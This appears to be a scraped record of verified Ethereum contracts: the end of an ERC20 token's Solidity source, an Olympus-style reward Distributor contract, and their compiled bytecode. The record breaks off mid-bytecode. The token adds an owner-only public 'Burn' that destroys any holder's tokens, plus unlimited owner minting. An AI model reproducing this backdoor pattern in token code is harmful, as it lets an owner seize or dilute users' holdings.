function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function mint(address account, uint256 amount) public onlyOwner{
_mint( account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function Burn(address account, uint256 amount) public onlyOwner {
_burn( account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a9059cbb11610066578063a9059cbb14610209578063cc16f5db1461021c578063dd62ed3e1461022f578063f2fde38b1461026857600080fd5b8063715018a6146101cb5780638da5cb5b146101d357806395d89b41146101ee578063a457c2d7146101f657600080fd5b8063313ce567116100d3578063313ce5671461016b578063395093511461017a57806340c10f191461018d57806370a08231146101a257600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d61027b565b60405161011a9190610c8f565b60405180910390f35b610136610131366004610c66565b61030d565b604051901515815260200161011a565b6003545b60405190815260200161011a565b610136610166366004610c2b565b610323565b6040516009815260200161011a565b610136610188366004610c66565b6103d9565b6101a061019b366004610c66565b610410565b005b61014a6101b0366004610bd8565b6001600160a01b031660009081526001602052604090205490565b6101a0610448565b6000546040516001600160a01b03909116815260200161011a565b61010d6104bc565b610136610204366004610c66565b6104cb565b610136610217366004610c66565b610566565b6101a061022a366004610c66565b610573565b61014a61023d366004610bf9565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101a0610276366004610bd8565b6105a7565b60606004805461028a90610d46565b80601f01602080910402602001604051908101604052809291908181526020018280546102b690610d46565b80156103035780601f106102d857610100808354040283529160200191610303565b820191906000526020600020905b8154815290600101906020018083116102e657829003601f168201915b5050505050905090565b600061031a338484610691565b50600192915050565b60006103308484846107b6565b6001600160a01b0384166000908152600260209081526040808320338452909152902054828110156103ba5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103ce85336103c98685610d2f565b610691565b506001949350505050565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909161031a9185906103c9908690610d17565b6000546001600160a01b0316331461043a5760405162461bcd60e51b81526004016103b190610ce2565b610444828261098e565b5050565b6000546001600160a01b031633146104725760405162461bcd60e51b81526004016103b190610ce2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606005805461028a90610d46565b3360009081526002602090815260408083206001600160a01b03861684529091528120548281101561054d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103b1565b61055c33856103c98685610d2f565b5060019392505050565b600061031a3384846107b6565b6000546001600160a01b0316331461059d5760405162461bcd60e51b81526004016103b190610ce2565b6104448282610a6d565b6000546001600160a01b031633146105d15760405162461bcd60e51b81526004016103b190610ce2565b6001600160a01b0381166106365760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103b1565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106f35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b1565b6001600160a01b0382166107545760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b1565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831661081a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b1565b6001600160a01b03821661087c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b1565b6001600160a01b038316600090815260016020526040902054818110156108f45760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103b1565b6108fe8282610d2f565b6001600160a01b038086166000908152600160205260408082209390935590851681529081208054849290610934908490610d17565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161098091815260200190565b60405180910390a350505050565b6001600160a01b0382166109e45760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016103b1565b80600360008282546109f69190610d17565b90915550506001600160a01b03821660009081526001602052604081208054839290610a23908490610d17565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6001600160a01b038216610acd5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016103b1565b6001600160a01b03821660009081526001602052604090205481811015610b415760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b60648201526084016103b1565b610b4b8282610d2f565b6001600160a01b03841660009081526001602052604081209190915560038054849290610b79908490610d2f565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016107a9565b80356001600160a01b0381168114610bd357600080fd5b919050565b600060208284031215610be9578081fd5b610bf282610bbc565b9392505050565b60008060408385031215610c0b578081fd5b610c1483610bbc565b9150610c2260208401610bbc565b90509250929050565b600080600060608486031215610c3f578081fd5b610c4884610bbc565b9250610c5660208501610bbc565b9150604084013590509250925092565b60008060408385031215610c78578182fd5b610c8183610bbc565b946020939093013593505050565b6000602080835283518082850152825b81811015610cbb57858101830151858201604001528201610c9f565b81811115610ccc5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610d2a57610d2a610d81565b500190565b600082821015610d4157610d41610d81565b500390565b600181811c90821680610d5a57607f821691505b60208210811415610d7b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea26469706673582212209f44f55398510d640feb4bc1a68d45f10d75755d803e3786237c56f14896a19a64736f6c63430008040033 | {"success": true, "error": null, "results": {}} | 647 |
0x2d99d0B76168E315f2dC699BFf8D47Be30B3F9D7 | // SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add( div( a, 2), 1 );
while (b < c) {
c = b;
b = div( add( div( a, b ), b), 2 );
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount( uint256 total_, uint8 percentage_ ) internal pure returns ( uint256 percentAmount_ ) {
return div( mul( total_, percentage_ ), 1000 );
}
function substractPercentage( uint256 total_, uint8 percentageToSub_ ) internal pure returns ( uint256 result_ ) {
return sub( total_, div( mul( total_, percentageToSub_ ), 1000 ) );
}
function percentageOfTotal( uint256 part_, uint256 total_ ) internal pure returns ( uint256 percent_ ) {
return div( mul(part_, 100) , total_ );
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing( uint256 payment_, uint256 multiplier_ ) internal pure returns (uint256) {
return sqrrt( mul( multiplier_, payment_ ) );
}
function bondingCurve( uint256 supply_, uint256 multiplier_ ) internal pure returns (uint256) {
return mul( multiplier_, supply_ );
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy( address newPolicy_ ) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred( address(0), _policy );
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require( _policy == msg.sender, "Ownable: caller is not the owner" );
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred( _policy, address(0) );
_policy = address(0);
}
function pushPolicy( address newPolicy_ ) public virtual override onlyPolicy() {
require( newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require( msg.sender == _newPolicy );
emit OwnershipTransferred( _policy, _newPolicy );
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards( address _recipient, uint _amount ) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeERC20 for IERC20;
/* ====== VARIABLES ====== */
address public immutable OHM;
address public immutable treasury;
uint public immutable epochLength;
uint public nextEpochBlock;
mapping( uint => Adjust ) public adjustments;
/* ====== STRUCTS ====== */
struct Info {
uint rate; // in ten-thousandths ( 5000 = 0.5% )
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
/* ====== CONSTRUCTOR ====== */
constructor( address _treasury, address _ohm, uint _epochLength, uint _nextEpochBlock ) {
require( _treasury != address(0) );
treasury = _treasury;
require( _ohm != address(0) );
OHM = _ohm;
epochLength = _epochLength;
nextEpochBlock = _nextEpochBlock;
}
/* ====== PUBLIC FUNCTIONS ====== */
/**
@notice send epoch reward to staking contract
*/
function distribute() external returns ( bool ) {
if ( nextEpochBlock <= block.number ) {
nextEpochBlock = nextEpochBlock.add( epochLength ); // set next epoch block
// distribute rewards to each recipient
for ( uint i = 0; i < info.length; i++ ) {
if ( info[ i ].rate > 0 ) {
ITreasury( treasury ).mintRewards( // mint and send from treasury
info[ i ].recipient,
nextRewardAt( info[ i ].rate )
);
adjust( i ); // check for adjustment
}
}
return true;
} else {
return false;
}
}
/* ====== INTERNAL FUNCTIONS ====== */
/**
@notice increment reward rate for collector
*/
function adjust( uint _index ) internal {
Adjust memory adjustment = adjustments[ _index ];
if ( adjustment.rate != 0 ) {
if ( adjustment.add ) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add( adjustment.rate ); // raise rate
if ( info[ _index ].rate >= adjustment.target ) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub( adjustment.rate ); // lower rate
if ( info[ _index ].rate <= adjustment.target ) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
/* ====== VIEW FUNCTIONS ====== */
/**
@notice view function for next reward at given rate
@param _rate uint
@return uint
*/
function nextRewardAt( uint _rate ) public view returns ( uint ) {
return IERC20( OHM ).totalSupply().mul( _rate ).div( 1000000 );
}
/**
@notice view function for next reward for specified address
@param _recipient address
@return uint
*/
function nextRewardFor( address _recipient ) public view returns ( uint ) {
uint reward;
for ( uint i = 0; i < info.length; i++ ) {
if ( info[ i ].recipient == _recipient ) {
reward = nextRewardAt( info[ i ].rate );
}
}
return reward;
}
/* ====== POLICY FUNCTIONS ====== */
/**
@notice adds recipient for distributions
@param _recipient address
@param _rewardRate uint
*/
function addRecipient( address _recipient, uint _rewardRate ) external onlyPolicy() {
require( _recipient != address(0) );
info.push( Info({
recipient: _recipient,
rate: _rewardRate
}));
}
/**
@notice removes recipient for distributions
@param _index uint
@param _recipient address
*/
function removeRecipient( uint _index, address _recipient ) external onlyPolicy() {
require( _recipient == info[ _index ].recipient );
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
/**
@notice set adjustment info for a collector's reward rate
@param _index uint
@param _add bool
@param _rate uint
@param _target uint
*/
function setAdjustment( uint _index, bool _add, uint _rate, uint _target ) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
} | 0x608060405234801561001057600080fd5b50600436106100ff5760003560e01c8063a15ad07711610097578063c9fa8b2a11610066578063c9fa8b2a1461038b578063e4fc6b6d146103cd578063f7982243146103ed578063fe3fbbad1461043b576100ff565b8063a15ad077146102b7578063a4b23980146102fb578063a6c41fec14610305578063bc3b2b1214610339576100ff565b806357d775f8116100d357806357d775f81461020d5780635beede081461022b5780635db854b01461023557806361d027b314610283576100ff565b8062640c2e146101045780630505c8c9146101225780632e3405991461015657806336d33f44146101b5575b600080fd5b61010c610489565b6040518082815260200191505060405180910390f35b61012a61048f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101826004803603602081101561016c57600080fd5b81019080803590602001909291905050506104b8565b604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390f35b6101f7600480360360208110156101cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061050c565b6040518082815260200191505060405180910390f35b6102156105d2565b6040518082815260200191505060405180910390f35b6102336105f6565b005b6102816004803603608081101561024b57600080fd5b81019080803590602001909291908035151590602001909291908035906020019092919080359060200190929190505050610750565b005b61028b61087e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f9600480360360208110156102cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108a2565b005b610303610a2d565b005b61030d610bac565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103656004803603602081101561034f57600080fd5b8101908080359060200190929190505050610bd0565b604051808415158152602001838152602001828152602001935050505060405180910390f35b6103b7600480360360208110156103a157600080fd5b8101908080359060200190929190505050610c07565b6040518082815260200191505060405180910390f35b6103d5610cd8565b60405180821515815260200191505060405180910390f35b6104396004803603604081101561040357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e8b565b005b6104876004803603604081101561045157600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611033565b005b60025481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600481815481106104c857600080fd5b90600052602060002090600202016000915090508060000154908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905082565b60008060005b6004805490508110156105c8578373ffffffffffffffffffffffffffffffffffffffff166004828154811061054357fe5b906000526020600020906002020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156105bb576105b8600482815481106105a157fe5b906000526020600020906002020160000154610c07565b91505b8080600101915050610512565b5080915050919050565b7f000000000000000000000000000000000000000000000000000000000000089881565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461065057600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610811576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60405180606001604052808415158152602001838152602001828152506003600086815260200190815260200160002060008201518160000160006101000a81548160ff021916908315150217905550602082015181600101556040820151816002015590505050505050565b7f00000000000000000000000061d8a57b3919e9f4777c80b6cf1138962855d2ca81565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610963576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156109e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806116ee6026913960400191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b7f00000000000000000000000021ad647b8f4fe333212e735bfc1f36b4941e6ad281565b60036020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b6000610cd1620f4240610cc3847f00000000000000000000000021ad647b8f4fe333212e735bfc1f36b4941e6ad273ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610c7a57600080fd5b505afa158015610c8e573d6000803e3d6000fd5b505050506040513d6020811015610ca457600080fd5b81019080805190602001909291905050506111f090919063ffffffff16565b61127690919063ffffffff16565b9050919050565b60004360025411610e8357610d187f00000000000000000000000000000000000000000000000000000000000008986002546112c090919063ffffffff16565b60028190555060005b600480549050811015610e7957600060048281548110610d3d57fe5b9060005260206000209060020201600001541115610e6c577f00000000000000000000000061d8a57b3919e9f4777c80b6cf1138962855d2ca73ffffffffffffffffffffffffffffffffffffffff16636a20de9260048381548110610d9e57fe5b906000526020600020906002020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610df760048581548110610de057fe5b906000526020600020906002020160000154610c07565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015610e4a57600080fd5b505af1158015610e5e573d6000803e3d6000fd5b50505050610e6b81611348565b5b8080600101915050610d21565b5060019050610e88565b600090505b90565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f4c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f8657600080fd5b600460405180604001604052808381526020018473ffffffffffffffffffffffffffffffffffffffff1681525090806001815401808255809150506001900390600052602060002090600202016000909190919091506000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffff